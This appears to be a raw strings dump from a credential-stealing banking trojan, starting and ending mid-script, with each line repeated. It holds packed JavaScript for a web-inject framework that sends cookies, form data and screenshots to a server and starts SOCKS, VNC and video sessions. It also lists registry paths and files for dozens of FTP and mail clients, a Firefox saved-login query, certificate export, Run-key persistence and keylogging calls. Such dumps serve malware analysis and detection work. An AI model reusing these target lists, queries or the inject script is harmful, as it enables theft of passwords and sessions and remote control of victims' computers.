i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

%WinDir%\Explorer.EXE

%WinDir%\Explorer.EXE

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort

spoolsv.exe_1444_rwx_00F90000_00054000:

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k 